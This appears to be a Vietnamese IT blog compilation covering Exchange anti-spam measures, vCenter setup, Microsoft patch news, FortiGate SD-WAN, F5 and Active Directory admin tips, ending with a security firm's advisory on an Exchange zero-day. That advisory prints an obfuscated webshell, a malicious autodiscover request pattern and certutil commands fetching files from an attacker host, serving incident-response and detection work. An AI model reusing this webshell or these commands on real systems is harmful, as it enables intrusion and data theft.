MỘT SỐ BIỆN PHÁP NGĂN NGỪA VÀ CHỐNG SPAM EMAIL SERVER EXCHANGE

MỘT SỐ BIỆN PHÁP NGĂN NGỪA HỆ THỐNG CHỐNG SPAM EMAIL SERVER EXCHANGE

Hệ thống Email Server Exchange Server Nhà làm (On-Premises) Để ngăn chặn spam trên máy chủ Exchange Server, bạn có thể thực hiện một số biện pháp phòng ngừa và bảo mật. Dưới đây là một số gợi ý mà Phương Nguyễn chia sẻ từ kinh nghiệm thực tế nhé:

Sử dụng các bộ lọc chống spam:

  • Kích hoạt và cấu hình các tính năng chống spam tích hợp của Exchange. Bật Antispam nội tại của Exchange sẵn có cũng quét khá ok.
  • Cấu hình thêm 1 số tính năng của Antispam protection: Content filter, Sender Filter, sender id, Recipient, attachment,…
  • Nếu có tiền thì nên xem xét việc triển khai các giải pháp bộ lọc chống spam bên ngoài phần cứng hay appliance phần mềm: SpamAssassin, Barracuda, hoặc Proofpoint, FortiMail,
  • Giải pháp mail gateway đối tác thứ 3:
    • Microsoft Exchange Server 2019.
    • Paubox.
    • Mimecast Email Security with Targeted Threat Protection.
    • Cisco Secure Email Threat Defense.
    • FortiMail.
    • Symantec Email Security.Cloud.
    • Cloudflare Area 1 Security.
    • Barracuda Email Security Gateway.

Cập nhật phần mềm và bảo mật:

  • Đảm bảo bạn đang sử dụng phiên bản Exchange Server mới nhất và đã áp dụng tất cả các bản vá bảo mật (CU, SU), bằng cách theo dõi thường xuyên trên trang Microsoft Exchange check bản vá.
  • Theo dõi và thường xuyên cập nhật phần mềm chống virus và bảo mật trên máy chủ chạy Exchange.

Cấu hình xác thực người gửi bằng cách cấu hình bảo mật DNS cho Email:

  • Kích hoạt các cơ chế xác thực như SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), và DMARC (Domain-based Message Authentication, Reporting, and Conformance), IP resever (PTR)
  • Xác minh và thiết lập các quy tắc xác thực người gửi trong các bộ lọc spam.
  • Nếu tự làm email không có email gateway nên tìm IP sạch tí.

Quản lý danh sách đen (blacklist) và trắng (whitelist):

  • Thiết lập các quy tắc để tự động thêm địa chỉ email vào danh sách đen hoặc trắng dựa trên các tiêu chí cụ thể.
  • Kiểm tra định kỳ và cập nhật danh sách đen và trắng của bạn.
  • Ngoài ra 1 số hãng dbspam hoặc trang Spam phải mua thêm gở spam blocklist hoặc add ip mail server vào Whitelist (nhất là ông UCEPROTECT phải mua gở), nếu trang spam free thì email gở spam,
  • Thường xuyên dùng các công cụ kiểm tra xem IP có spam không nhé: Mxtoolbox, dnschecker, Testtls, spamhaus, Barracuda, Spamcop,..Dĩ nhiên phổ biến thôi còn nhiều các bạn có thể tìm thêm.

Quản lý và đào tạo người dùng cuối:

  • Các giải pháp công nghệ tốt đến đâu thì con người vận hành và sử dụng cũng là users nên yếu tố con người cũng quyết định thành công trong việc góp phần ngăn ngừa.
  • Cung cấp hướng dẫn và đào tạo người dùng về cách nhận biết và xử lý email spam, fishing email.
  • Khuyến khích họ không mở các đính kèm từ nguồn không rõ, click link nặc danh dẫn tới spam hoặc mã hoá dữ liệu.

Kiểm soát đồng bộ hóa (synchronization):

  • Hạn chế quá trình đồng bộ hóa với các danh bạ không tin cậy và ngăn chặn các kết nối không mong muốn từ các nguồn không rõ.

Giám sát log và thống kê:

  • Thường xuyên theo dõi các log và bản thống kê để phát hiện các hoạt động bất thường từ Log của Exchange transport, Ngoài các công cụ sẵn có của Exchange Server: Message tracking. Có thể dùng ManageEngine Exchange Reporter Plus khá ok dĩ nhiên phải tốn phí 😊
  • Thực hiện giám sát thời gian thực để nhanh chóng phát hiện và xử lý các vấn đề liên quan đến spam.

Sử dụng các giải pháp chống thấp hóa (greylisting):

  • Cài đặt các giải pháp chống thấp hóa để tạm thời chặn các email từ nguồn chưa được xác minh, và chỉ chấp nhận chúng khi được gửi lại từ cùng một nguồn. Này gần giống mục 3, dùng thêm các giải pháp tốn tiền

Rules Transport Exchange Server

Có thể tận dụng tạo các bộ lộc rules sẵn có của Exchange vẫn có khả năng ngănn chặn được nhiều đó, Mình nghỉ bộ công cụ này khá mạnh mọi người cần khai thác triệt để vì miễn phí mà có sẵn tận dụng có gì sài nấy trước khi đầu tư.

Lời Kết cho bài post

Bảo mật email là câu chuyện muôn thuở và nhiều tầng nhiều lớp, dĩ nhiên tuỳ thuộc vào nhu cầu và ngân sách doanh nghiệp nếu lên Cloud Email Online (Google Workspace, MS365-Microsoft Defender for Office 365 công nghệ mới XDR..) thì khá tốt rồi.

Bài post này chỉ đề cập đến giải pháp email Server Exchange nhà làm (On-Premise). Chúng ta đi từ trong ra ngoài theo các tầng thì có thể gôm lại các cách phòng chống spam cho Email như sau:

  • Tầng 1: Nội tại email Exchange Server có Antispam and antimalware sẵn có free, dĩ nhiên phải cấu hình và bật lên (Content filter, Sender, IP reputation,..).
  • Tầng 2: Rules transport Exchange có sẵn free chỉ tốn cơm suy nghĩ, spam đâu block đó
  • Tầng 3: tầng cài thêm phần mềm thứ ba nếu không nhiều tiền mua phần cứng: Antispam của ESET Mail Security, Symantec tích họp email security, McAFee,..
  • Tầng 4 tường lửa nếu có sẵn: Forgiate mua tính năng hoặc sài hẵn phần cứng mail gateway như của Baracuda, Sophos, Fortimail, hoặc đẩy thẳng mail relay Cloud Online: Microsoft, GG, Amazon SES, SendinBlue, DNSexit,..Nhiều lắm mà tốn tiền 😊

..

Lưu ý rằng không có biện pháp nào là hoàn toàn hiệu quả 100% trong việc ngăn chặn spam, vì vậy việc kết hợp nhiều biện pháp cùng một lúc là quan trọng.

Bài Post mang tính chất chủ quan tham khảo va chắc lọc từ kinh nghiệm cá nhân, anh em nào có khác hãy comment để thảo luận nhé.

Phương Nguyễn

HƯỚNG DẪN CÁCH SETUP VCENTER SERVER 8.0 U1 B Step by Step

HƯỚNG DẪN CÁCH SETUP VCENTER 8.0 U1 B Step by Step

Checklist cần thiết

  • Chuẩn bị source ISO, download Vmware
  • ESXI Host,Sizing :
    • Hardware Requirements for the vCenter Server Appliance
    • Storage Requirements for the vCenter Server Appliance
  • Required Ports for vCenter Server: 902, 443, 80, 389 tham khảo tại https://ports.esp.vmware.com/home/vSphere
  • DNS Requirements for the vCenter Server Appliance, lên DNS tạo các record A, PTR
    • Name vCenter Server 8
    • vcsa.viettechgroup.lab
    • IP: 172.16.23.3
    • Host Esxi or vCenter
    • IP: 172.16.1.1
  • If you want to deploy the appliance on an ESXi host, verify that the ESXi host is not in lockdown or maintenance mode and not part of a fully automated DRS cluster
  • Stage 1 Deploy new vCenter Server: 8 Steps
  • Stage 2: Setup vCenter Server: 5 steps
  • Configure Basic vCenter Server 8

Chuẩn bị Source ISO

Cần đăng ký tài khoản Vmware để tải bản trial

https://customerconnect.vmware.com/downloads/get-download?downloadGroup=VC80U1B

Mount ISO và run Setup

Chọn Installer.exe-> Install New vCenter Server

Stage 1: Deploy New vCenter Server

Gồm 8 bước điền các thông tin như các bước chuẩn bị

B1: Introduction -> next

B2: End user license agreement-> Chọn chấp chập và next

Bước 3: Khai báo thông tin host esxi hoặc vcenter cần triển khai

Chọn Yes trust SSL

Bước 4: Khai báo VM tên và user root của VM VCSA

Bước 5: Để default tiny

Bước 6: Chọn Datastores cần Setup

Bước 7: Bước này quan trọng khai báo về port group VM network nào cần sử dụng để VM VCSA có thể liên hệ với ADDS, khi báo như hình tùy theo nhu cầu thực tế mạng của các bạn để gỏ vào.

Bước 8: chỉ là confirm các setting vừa rồi chọn finish

Chờ Install Stage1 hoàn tất

Xong stage 1 chọn -> Continues chuyển sang stage2

STAGE 2: Set up vCenter Server

Chọn next

Như vậy đã setup xong stage 2

Chúng ta có thể logon quản lý VCSA bằng cách vào

https://ip:5480

và quản lý vcenter https://ip:443 bằng vsphere client html5

Đây là quản lý máy ảo của VCSA 8 nhé

Tại đây có thể cập nhật các tùy chỉnh theo ý đồ quản trị

Lưu ý ae quản trị viên hay quên, nhớ cập nhật lại lại hệ thống password không là bị change password sau 90 ngày. 😊 Ở đây tùy ae nhé. Tôi thì có mình nên chơi never expires cho chắc ăn.

Mật khẩu vẫn để phức tạp đi

Cái quản trọng nữa là backup config sau khi cấu hình ngon lành để có trường hợp còn khôi phục lại nhé.

Còn quản lý System VM các Esxi vào https://ip

Phần 2 Cấu hình cơ bản VCSA viết sau nhé.

Microsoft Outlook Zero-Day Vulnerability- Elevation of Privilege Vulnerability CVE-2023-23397

Microsoft Outlook Zero-Day Vulnerability- Elevation of Privilege Vulnerability CVE-2023-23397

Tóm tắt:

Microsoft giải thích: CVE-2023-23397 là một lỗ hổng EoP nghiêm trọng trong Microsoft Outlook, được kích hoạt khi kẻ tấn công gửi thư có thuộc tính MAPI mở rộng với đường dẫn UNC đến chia sẻ SMB (TCP 445) trên máy chủ do tác nhân đe dọa kiểm soát. Không cần tương tác người dùng,”

Cơ chế

Kẻ tấn công đã khai thác thành công lỗ hổng này có thể truy cập hàm băm Net-NTLMv2 của người dùng, có thể được sử dụng làm cơ sở cho một cuộc tấn công Chuyển tiếp NTLM chống lại một dịch vụ khác để xác thực là người dùng.

Preview Pane

Hacker tận dụng tính Preview Pane của email Outlook Email được chế tạo đặc biệt sẽ tự động kích hoạt khi nó được ứng dụng khách Outlook truy xuất và xử lý, cung cấp một vectơ tấn công lén lút để tin tặc khai thác. “Kẻ tấn công có thể khai thác lỗ hổng này bằng cách gửi một email được chế tạo đặc biệt, email này sẽ tự động kích hoạt khi nó được ứng dụng khách Outlook truy xuất và xử lý. Điều này có thể dẫn đến việc khai thác TRƯỚC KHI email được xem trong Preview Pane,”

Các phiên bản ảnh hưởng

Tất cả các phiên bản được hỗ trợ của Microsoft Outlook (2010, 2013,2016,2019, 365Apps)cho Windows đều bị ảnh hưởng.

Các phiên bản khác của Microsoft Outlook như Android, iOS, Mac, cũng như Outlook trên web và các dịch vụ M365 khác không bị ảnh hưởng.

Biện pháp làm khắc phục:

Thêm người dùng vào Nhóm bảo mật người dùng được bảo vệ (Protected Users Security Group), ngăn việc sử dụng NTLM làm cơ chế xác thực. Việc thực hiện giảm thiểu này giúp khắc phục sự cố dễ dàng hơn so với các phương pháp vô hiệu hóa NTLM khác.

Chặn TCP 445/SMB gửi đi từ mạng của bạn bằng cách sử dụng tường lửa vành đai(DMZ), tường lửa cục bộ và thông qua cài đặt VPN. Điều này sẽ ngăn việc gửi thông báo xác thực NTLM tới chia sẻ tệp từ xa.

Máy trạm Client

Yêu cầu tất cả máy trạm của Người dùng cuối cần upgrade Microsoft Outlook cho các Phiên bản:

Microsoft Outlook 2013 (64-bit edition):https://www.microsoft.com/en-us/download/details.aspx?id=105070

Microsoft Outlook 2016 (64-bit edition):https://www.microsoft.com/en-us/download/details.aspx?id=105058

Microsoft Office LTSC 2019/2021/365 for 64-bit editions:=> Cick upgrade

Server Exchange và Exchange Online

Chạy Script CVE-2023-23397: CVE-2023-23397.ps1

Thông tin tham khảo:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397

https://msrc.microsoft.com/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/

https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/

Anh em sysadmin tập trung cập nhật bản vá Outlook cho máy trạm người dùng nhé.

Làm trên cả server và client tường lửa cứng mềm

#jsisen

#viettechgroupvn

#phuongit

#outlookzerodays

#phuongnguyenit

Cập nhật ngay: Microsoft phát hành bản vá cho 3 lỗ hổng Windows bị khai thác tích cực

Microsoft hôm thứ Ba đã phát hành các bản cập nhật bảo mật để giải quyết 75 lỗ hổng trong danh mục sản phẩm của mình, ba trong số đó đã bị khai thác tích cực trong tự nhiên.

Các bản cập nhật bổ sung cho 22 lỗ hổng mà nhà sản xuất Windows đã vá trong trình duyệt Edge dựa trên Chromium của họ trong tháng qua. Hầu hết các lỗ hổng liên quan đến lỗ hổng khai thác thực thi mã từ xa chiếm đến 47%.

Trong số 75 lỗ hổng, 9 lỗ hổng được xếp hạng Nghiêm trọng và 66 lỗ hổng được xếp hạng Quan trọng về mức độ nghiêm trọng. 37 trong số 75 lỗi được phân loại là lỗi thực thi mã từ xa (RCE). Ba zero-days của lưu ý đã được khai thác như sau:

  • CVE-2023-21715 (điểm CVSS: 7,3) – Lỗ hổng bỏ qua tính năng bảo mật của Microsoft Office
  • CVE-2023-21823 (điểm CVSS: 7,8) – Độ cao của lỗ hổng đặc quyền của Cấu phần đồ họa Windows
  • CVE-2023-23376 (Điểm CVSS: 7,8) – Độ cao trình điều khiển của Hệ thống tệp nhật ký chung Windows (CLFS) của lỗ hổng đặc quyền

“Bản thân cuộc tấn công được thực hiện cục bộ bởi người dùng có xác thực với hệ thống được nhắm mục tiêu”, Microsoft cho biết trong lời khuyên cho CVE-2023-21715.

“Kẻ tấn công được xác thực có thể khai thác lỗ hổng bằng cách thuyết phục nạn nhân, thông qua kỹ thuật xã hội, tải xuống và mở một tệp được chế tạo đặc biệt từ một trang web có thể dẫn đến một cuộc tấn công cục bộ vào máy tính nạn nhân.”

Việc khai thác thành công các lỗ hổng trên có thể cho phép kẻ thù bỏ qua các chính sách macro của Office được sử dụng để chặn các tệp độc hại hoặc không đáng tin cậy hoặc giành được các đặc quyền HỆ THỐNG.

CVE-2023-23376 cũng là lỗ hổng zero-day được khai thác tích cực thứ ba trong thành phần CLFS sau CVE-2022-24521 và CVE-2022-37969 (điểm CVSS: 7,8), đã được Microsoft xử lý vào tháng 4 và tháng 9 năm 2022.

Nikolas Cemerikic của Immersive Labs cho biết: “Trình điều khiển hệ thống tệp nhật ký chung của Windows là một thành phần của hệ điều hành Windows quản lý và duy trì hệ thống tệp nhật ký dựa trên giao dịch, hiệu suất cao”.

“Đây là một thành phần thiết yếu của hệ điều hành Windows và bất kỳ lỗ hổng nào trong trình điều khiển này đều có thể có ý nghĩa quan trọng đối với tính bảo mật và độ tin cậy của hệ thống.”

Cần lưu ý rằng Microsoft OneNote dành cho Android dễ bị tấn công bởi CVE-2023-21823 và với việc dịch vụ ghi chú ngày càng nổi lên như một phương tiện phát tán phần mềm độc hại , điều quan trọng là người dùng phải áp dụng các bản sửa lỗi.

Microsoft cũng giải quyết nhiều lỗi RCE trong Exchange Server, Trình điều khiển ODBC, Trình điều khiển Máy in PostScript và SQL Server cũng như các sự cố từ chối dịch vụ (DoS) ảnh hưởng đến Dịch vụ iSCSI của Windows và Kênh Bảo mật Windows.

Ba trong số các lỗ hổng Exchange Server được công ty phân loại là “Khả năng khai thác cao hơn”, mặc dù việc khai thác thành công yêu cầu kẻ tấn công phải được xác thực.

Các máy chủ Exchange đã được chứng minh là mục tiêu có giá trị cao trong những năm gần đây vì chúng có thể cho phép truy cập trái phép vào thông tin nhạy cảm hoặc tạo điều kiện cho các cuộc tấn công Thỏa hiệp email doanh nghiệp (BEC).

Nguồn : https://thehackernews.com/2023/02/update-now-microsoft-releases-patches.html

Phương Nguyễn Dịch và biên soạn

Fortigate SD-WAN ?

Đọc về lý thuyết sdwan thấy khá trừu tượng và khó hiểu. Khi mình cấu hình sdwan trên fortigate 60F thì nó có các mục sau (như trong hình):

+SDWAN zones: tại đây mình tạo mới 1 interface ảo (hoặc dùng cái mặc định có tên là virtual wan link) và add các member interfaces (là các wan interfaces vật lý có sẵn) vào interface ảo này. Gần giống kiểu mình dùng cisco etherchannel để gộp các ports vật lý vào trong 1 port ảo. Cái virtual wan link này là dùng để ra internet, còn nếu mình muốn vpn đến site khác thì mình tạo 1 vpn zone (ảo) và sau đó tạo và add các đường vpn (vpn1, vpn2 …) vào vpn zone đó (và nó là overlay, vì nó dựa trên cái underlay ở dưới là các đường wan). Việc tạo giao diện wan ảo (gộp các wan vật lý) là để giúp phối hợp và lựa chọn các wan vật lý để đem đến các tính năng như failover, load balancing, path selection, load distribution, lựa chọn đường wan dựa theo chất lượng đường wan và dựa theo app / service / ip / fqdn …

+SDWAN rules: phần này có 1 rule mặc định nằm dưới cùng và trong rule này nó cho mình chọn 1 số thuật toán load balance. Ngoài ra mình có thể tạo thêm rule mới để control vấn đề path selection dựa vào ip / fqdn / app / service / category … ví dụ mình định nghĩa là truy cập Office 365 phải đi qua đường wan1, hoặc tự động chọn đường wan nào có chất lượng tốt nhất dựa vào các SLA đã được định nghĩa và cấu hình, hoặc lựa chọn và phối hợp các đg wan sao cho tối đa bandwidth, hoặc có latency thấp nhất …

+Performance SLA: phần này mình định nghĩa cách thức mình monitor 1 server ngoài internet dựa vào các giao thức như ping, http, dns … để đo lường tính sẵn sàng và chất lượng các đường wan dựa vào nhiều tiêu chí như packet loss, latency, jitter … và dùng các kết quả này vào việc chọn đường wan ở mục sdwan rules. VD mình sẽ cấu hình để nó ping liên tục đến 8.8.8.8 và đo lường các thông số chất lượng của các đg wan thông qua kết quả gói ping.

Tóm lại, sau khi cấu hình 3 mục trên thì ta có 1 giao diện wan ảo mới là virtual wan link (hoặc tên khác do ta đặt) trong đó nó gộp các đường wan vật lý là wan1, wan2 … Ta cũng tạo Perf SLA để monitor và đo chất lượng các đg wan1, wan2 … và tạo sdwan rule để control path selection dựa vào thông tin source, destination và kết quả của perf sla. Nhưng cái virtual wan link này chỉ là để truy cập internet, nếu ta muốn kết nối vpn giữa HQ và branch thì ta phải tạo thêm VPN theo 1 trong 2 cách sau:

+cách 1: tạo và cấu hình IPsec s2s vpn tunnel truyền thống, việc cấu hình khá đơn giản, chú ý cấu hình phase 1 và phase 2 trên fortigate đầu này phải tương thích với phase 1 và phase 2 trên fortigate đầu kia

+cách 2: vào mục sdwan/sdwan zones và tạo 1 vpn zone (ảo) và sau đó tạo và add các vpn thành viên (vd: vpn1 dựa trên wan1, vpn2 dựa trên wan2) vào vpn zone này, việc tạo và add vpn thành viên làm ngay trong giao diện của mục sdwan chứ ko làm trong giao diện của mục VPN như thông thường. Cấu hình vpn theo cách này thì ta phải tạo nhiều đường vpn (vpn1, vpn2) để hệ thống tự động lựa chọn đường vpn phù hợp với từng traffic. Cấu hình khá lằng nhằng nhiều bước, phức tạp hơn so với cách 1, nên mình ko thích cách này lắm, và nó cũng failed trong test lab của mình.

Như vậy với fortigate sdwan thì có 2 dạng virtual link: virtual link dùng để truy cập internet (như cái virtual wan link), và virtual link dùng để kết nối các sites (như vpn zone). SDwan phục vụ truy cập internet thì khá ngon và cấu hình khá đơn giản nên ok, 

Nguồn từ fb minhconan

Những lưu ý đối với bản vá Exchange Server ngày 10 tháng 01 năm 2023

Microsoft_Exchange_(2019-present).svg

Các Chú ý liên quan bản cập nhật vá lổ hổng (SU) của Exchange Server ngày 10/01/2023

Thông tin

Exchange 2019:
Exchange 2019CU12-KB5022193 (SU5)
Exchange 2019CU11-KB5022193 (SU9)
Exchange 2016:
Exchange2016-KB50221431(SU5)

Tính năng được giới thiệu mới:

Certificate signing of PowerShell serialization payload in Exchange Server, lưu ý khi cài đặt update bản vá thì sẽ bật tính năng này


Cập nhật các vá lỗ hổng:


Vấn đề vá lỗi:

  • Store Worker Process stops and returns “System.NullReferenceExceptions” lặp lại nhiều lần.
  • Không ghi âm và play được Exchange Unified Messaging
  • Log Exchange Application bị tràn liên quan có mã event ID: 6010

Các lỗi khi update có thể gặp phải:

  • Dịch vụ Microsoft Exchange AD Topology service có thể không start tự động hoặc lỗi treo làm die hệ thống (Đối với Exchange server 2016 chạy trên Windows Server 2012R2)
  • Bản xem trước trang web cho các URL được chia sẻ trong Outlook trên web (OWA) không được hiển thị chính xác.
  • Không thể mở công cụ quản lý Exchange Toolbox MMC snapin


Khuyến cáo Phương nguyễn:


Hiện bản này đang có nhiều lỗi liên quan khuyến cáo mạnh mẽ anh em IT System chưa hãy update nhé để ăn tết vui vẻ chờ MS confirm các bản vá trong tương lai. Vì có rất nhiều người bị lỗi rồi.
Khuyến cáo đặc biệt: Tuyệt đối không chạy bản vá này cho Exchange 2013

Phương nguyễn

Cách Reset Password Root Và Admin F5 BIG-IP Configuration Utility Bằng TMSH

Mô tả

Để cập nhật admin BIG-IP Configuration qua web thì chúng ta còn nhớ mật khẩu mới vào được. Tuy nhiên vì lý do gì đó quên luôn mật khẩu admin trên web. Chúng ta phải dùng đến công cụ TMOS Shell (tsmh) của F5 nhé.

Thực hiện

Bước 1: logon vào Shell hoặc SSH gỏ lệnh tmsh

tmsh

Bước 2: gỏ lệnh bên dưới

modify auth password root

Nhập password mới và nhập lại cho root account

Bước 3 : để reset luôn tài khoản web admin dùng để cấu hình gỏ lệnh bên dưới

modify auth user admin prompt-for-password

Bước 4 : lưu cấu hình bằng lệnh save sys config

save sys config

Bước 5: Quit

Kiểm tra lại logon nhé

Như vậy là thành công rồi nhé. Chúc các bạn reset thành công trong công việc quản trị F5 network.

Phương Nguyễn Viết

Vui lòng ghi rõ nguồn từ trang nếu có repost

Nguồn: https://viettechgroup.vn/cach-reset-password-root-va-admin-f5-big-ip-configuration-utility-bang-tmsh.html

Cách ủy quyền quyền để cho phép người dùng tham gia máy tính vào miền AD-Join Domain

Ngữ cảnh

Câu chuyện quản trị system của Doanh nghiệp thường quy mô cở trung, vừa to,… Nếu doanh nghiệp chúng ta nhỏ thường ông quản trị mạng làm hết nghĩa là roles và vai trò system admin, network admin là 1 nói chung là all in one 🙂 đó là câu chuyện đương nhiên để tiết giảm chi phí cho Doanh nghiệp. Tuy nhiên đối với Doanh nghiệp lớn SMB to hệ thống vài 1000 user đến vài trăm ngàn user, thì IT helpdesk cần có và phân công nhiệm vụ rõ ràng. Ông System Admin quản trị Domain controller rồi có thể cho các bạn Helpdesk hoặc đơn vị nào đó ví dụ Outsoucing để có quyền tham gia hay join máy tính vào domain. Câu chuyện đặt ra chúng ta không thể một mình làm hết được nên chúng ta phải cho phép ủy quyền 1 số nhóm hoặc người dùng helpdesk làm công chuyện này. Dĩ nhiên loại trừ 1 số người dùng có số lần join domain là 10 lần.

Giải pháp

Hôm nay phương nguyễn chia sẽ đến các bạn một mẹo nhỏ trong quản trị hệ thống mạng Domain controller nhé để làm công đoạn này có 2 cách có thể làm:

  • Ủy quyền 1 nhóm người hoặc người nào đó có quyền sử dụng Active Directory Users and Computers mà cụ thể là join domain.
  • Tạo 1 chính sách GPO trên default domain group policy để cấp quyền

Các thực hiện ủy quyền trên ADUC

Để thực hiện delegation vào start-> gỏ lệnh dsa.ms run Active Directory Users & Computers

Tạo 1 nhóm để ủy quyền nhé ví dụ GroupITHelpdesk

Thêm các user cần ủy quyền join vào nhé ví dụ : jsisen, phuong

Muốn ủy quyền OU nào thì chọn OU đấy nhé hoặc có thể chọn cả domain 🙂 phải chuột chọn delegation

Chọn Nex->

Chọn -> Add group vừa tạo trên và chọn ok->next.

Chọn Delegation the following Common tasks-> Join a Computer to the domain

Hoặc chọn Create a custom task to delegate thì chọn Create computer object và Delete nhé.

Chọn Ok finish nhé.

Như vậy Phương Nguyễn chia sẽ cách ủy quyền 1 tài khoản hoặc nhóm có thể có quyền join domain. Chúng ta có thể bàn giao cho các anh em IT helpdesk đi làm mỗi 1 nhiệm vụ join thôi nhé.

Hehehe Nếu thấy hay hãy nhớ like và sharing cho các anh em IT và nếu có copy bài nhớ ghi source từ bài viết.

Phương Nguyễn Viết

CẢNH BÁO CHIẾN DỊCH TẤN CÔNG SỬ DỤNG LỖ HỔNG ZERO DAY TRÊN MICROSOFT EXCHANGE SERVER

Khoảng từ đầu tháng 08/2022, trong quá trình thực hiện giám sát an ninh mạng và xử lý sự cố, Trung tâm vận hành bảo mật GTSC SOC phát hiện một đơn vị trọng yếu bị tấn công an ninh mạng vào hệ thống ứng dụng Microsoft Exchange. Quá trình điều tra, đội ngũ chuyên gia BlueTeam xác định kẻ tấn công đã sử dụng một lỗ hổng bảo mật của Microsoft Exchange chưa từng được công bố – hay còn gọi là lỗ hổng 0-day. GTSC SOC Team ngay lập tức đưa ra phương án ngăn chặn tạm thời. Song song, các chuyên gia RedTeam cũng bắt tay ngay vào việc nghiên cứu, debug lại mã nguồn ứng dụng Mail Exchange để tìm ra mã khai thác (exploit). Với lỗ hổng bảo mật Exchange trước đây, đội ngũ RedTeam cũng đã từng phân tích ra exploit trước khi có exploit được public trên thế giới (1-day exploit) nên việc hiểu luồng, cơ chế xử lý của hệ thống Email Exchange đã giúp giảm thời gian cho quá trình research. Ngay sau khi nghiên cứu ra exploit, GTSC đã submit lên ZDI để làm việc với Microsoft nhằm nhanh chóng có bản vá.

Sau khi ZDI verify đã ghi nhận 2 bug liên quan đến exploit:

Tuy nhiên đến thời điểm hiện tại, GTSC ghi nhận thêm các đơn vị khác cũng đang gặp phải sự cố. Sau khi kiểm tra, GTSC xác nhận hệ thống bị tấn công qua lỗ hổng 0-day này. Để hỗ trợ cộng đồng ngăn chặn tạm thời trước khi có bản vá chính thức từ Microsoft, chúng tôi công bố bài viết này để cảnh báo tới các đơn vị có sử dụng hệ thống email Microsoft Exchange.

Thông tin lỗ hổng bảo mật 

                – Đội ngũ Blueteam trong quá trình giám sát phát hiện được các request exploit dựa trên log IIS có định dạng giống như lỗ hổng ProxyShell: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com. Đồng thời kiểm tra các logs khác, nhận thấy kẻ tấn công thực hiện được các câu lệnh trên hệ thống. Kiểm tra version number trên máy chủ Exchange bị tấn công nhận thấy máy chủ đã cài đặt bản cập nhật mới nhất tại thời điểm đó nên không thể có trường hợp khai thác bởi lỗ hổng Proxyshell -> xác nhận máy chủ bị khai thác bởi lỗ hổng 0-day RCE mới. Các thông tin này được Blueteam cung cấp lại cho Redteam, từ đó đội ngũ Redteam của GTSC đã tiến hành nghiên cứu để trả lời cho các câu hỏi như tại sao các request lại giống với request của bug ProxyShell?, luồng RCE được thực hiện như thế nào? 

                – Kết quả nghiên cứu đã giúp GTSC Redteam thành công tìm ra cách sử dụng đường dẫn trên để truy cập tới 1 component ở backend và thực hiện RCE. Thông tin kỹ thuật chi tiết về lỗ hổng tại thời điểm này chúng tôi xin phép chưa công bố.

Các hành vi sau khai thác

Sau quá trình khai thác thành công lỗ hổng, chúng tôi ghi nhận các hành vi tấn công nhằm thu thập thông tin và tạo chỗ đứng trong hệ thống của nạn nhân. Nhóm tấn công cũng sử dụng các kỹ thuật khác nhau nhằm tạo backdoor trên hệ thống bị ảnh hưởng và thực hiện lateral movement sang các máy chủ khác trong hệ thống.

Webshell

Chúng tôi phát hiện các webshell được drop xuống các máy chủ exchange. Các webshell chúng tôi thu thập được hầu hết được obfuscated. Thông qua User-agent chúng tôi phát hiện attacker sử dụng Antsword (một opensource có tính năng hỗ trợ quản lý webshell).

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’+”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm’+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

Chúng tôi nghi ngờ các hành vi khai thác này xuất phát từ các nhóm tấn công Trung Quốc, dựa trên codepage trong webshell là 936, một bảng mã ký tự Microsoft cho tiếng Trung giản thể (simplified Chinese).

Một đặc điểm đáng chú ý khác, bên cạnh việc drop các webshell mới hacker cũng thực hiện thay đổi nội dung trong file RedirSuiteServiceProxy.aspx thành nội dung webshell. RedirSuiteServiceProxy.aspx là một tên file hợp pháp sẵn có trong máy chủ Exchange

FileNamePath
RedirSuiteServiceProxy.aspxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashxC:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Trong quá trình xử lý sự cố tại một khách hàng khác, GTSC ghi nhận nhóm tấn công có sử dụng một mẫu webshell khác

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Bên cạnh các hành vi thu thập thông tin trên hệ thống, attacker thực hiện tải file và kiểm tra kết nối thông qua certutil có sẵn trên môi trường Windows

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

Ở cuối của mỗi câu lệnh mà kẻ tấn công thực hiện đều có chuỗi echo [S]&cd&echo [E], một trong những dấu hiệu nhận biết của China Chopper.

Ngoài ra, hacker cũng thực hiện inject DLL độc hại vào bộ nhớ, drop các file nghi ngờ lên các máy chủ bị tấn công, và thực thi các file này thông qua WMIC.

Suspicious File

Trên các máy chủ, chúng tôi phát hiện các file nghi ngờ có định dạng exe và dll

FileNamePath
DrSDKCaller.exeC:\root\DrSDKCaller.exe
all.exeC:\Users\Public\all.exe
dump.dllC:\Users\Public\dump.dll
ad.exeC:\Users\Public\ad.exe
gpg-error.exeC:\PerfLogs\gpg-error.exe
cm.exeC:\PerfLogs\cm.exe
msado32.tlbC:\Program Files\Common Files\system\ado\msado32.tlb

